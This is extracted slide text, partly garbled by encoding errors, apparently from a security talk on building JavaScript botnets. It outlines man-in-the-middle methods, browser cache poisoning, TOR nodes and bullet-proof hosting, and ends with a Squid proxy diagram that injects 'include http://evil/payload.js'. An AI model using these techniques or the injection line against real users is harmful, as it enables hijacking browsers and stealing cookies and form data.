
Owning "bad" guys 
{and mafia} with 
Javascript botnets 
/ƘŜƳŀ !ƭƻƴǎƻ ϧ aŀƴǳ άThe {ǳǊέ 

 



Let́ s do a botnet butȣ 
ÅWe are lazy 

ÅWe haveńt money 

ÅWe haveńt 0day 

ÅWe areń t the FBI 

ÅWe areń t either: 

ÅGoogle 

ÅApple 

ÅMicrosoft 
 



Let them to 
be infected 



Man in the Middle schemas 
ÅIntercept communications between client and server 

ÅCompromised channel  -> Pwned! 

ÅNetwork 

ÅARP Spoofing 

ÅRogue DHCP(6) 

ÅICMPv6 Sppofing 

ÅSLAAC Attacks 

ÅDNS Spoofing 

ÅΧ 

ÅEvil FOCA Rulez! 
 

 



Man in the Browser 

ÅPlugins 

ÅBHO 

ÅAddons 

ÅAccess to all data 

ÅPasswords 

ÅCode 

ÅBanking trojans 

Åά! russian in my L9έ 
 



JavaScript in the Middle 
ÅPoisoning Browser cache 

ÅNo permanent 

ÅDeleting cache means infection cleaned 

ÅCached content is used if not expired 

ÅAllows attackers to inject remote javascript 

ÅAccess  to: 

ÅCookies 

ÅNot HTTPOnly (more or less) 

ÅHTML Code 

ÅForm fields 

ÅURLs 

ÅCode execution 

ÅΧ 



Google Analytics js  & malware 



How to inject JavaScript code 

ÅPersistent XSS 

ÅOwning HTTP Servers 

ÅNetwork Man In the middle attacks 

ÅWiFi 

ÅARP Spoofing 

ÅIPv6 

ÅMemcache attacks 

ÅImagination 
 



- Framework to own ōƻǿǎŜǊΩǎ cache 
- Inject a javascript in each client 
- That javaScript loads payloads from C&C 
- http://beefproject.com  
- Very Well-Known 

http://beefproject.com/


How to create a 
JavaScript Botnet 
from the scratch 



TOR Nodes 



TOR Nodes 



Not a Rocket ScinceȣȢ 



Buy a bullet-Prof  

ÅNot: 

ÅThe Pirate Bay 

ÅAmazon 

Å(Remenber Wikileaks) 

ÅMegaupload 
 



Configure SQUID Proxy 
GET / HTTP/1.1 
Host: www.web.com  

GET / HTTP/1.1 
Host: www.web.com  

Response 
Home.html 

Response 
Home.html 

GET /a.jsp HTTP/1.1 
Host: www.web.com  

GET /a.jsp HTTP/1.1 
Host: www.web.com  

Response 
a.jsp 

Response 
a.Jsp + pasarela.js 
include http://evil/payload.js 

GET /payload.js HTTP/1.1 
Host: evil  


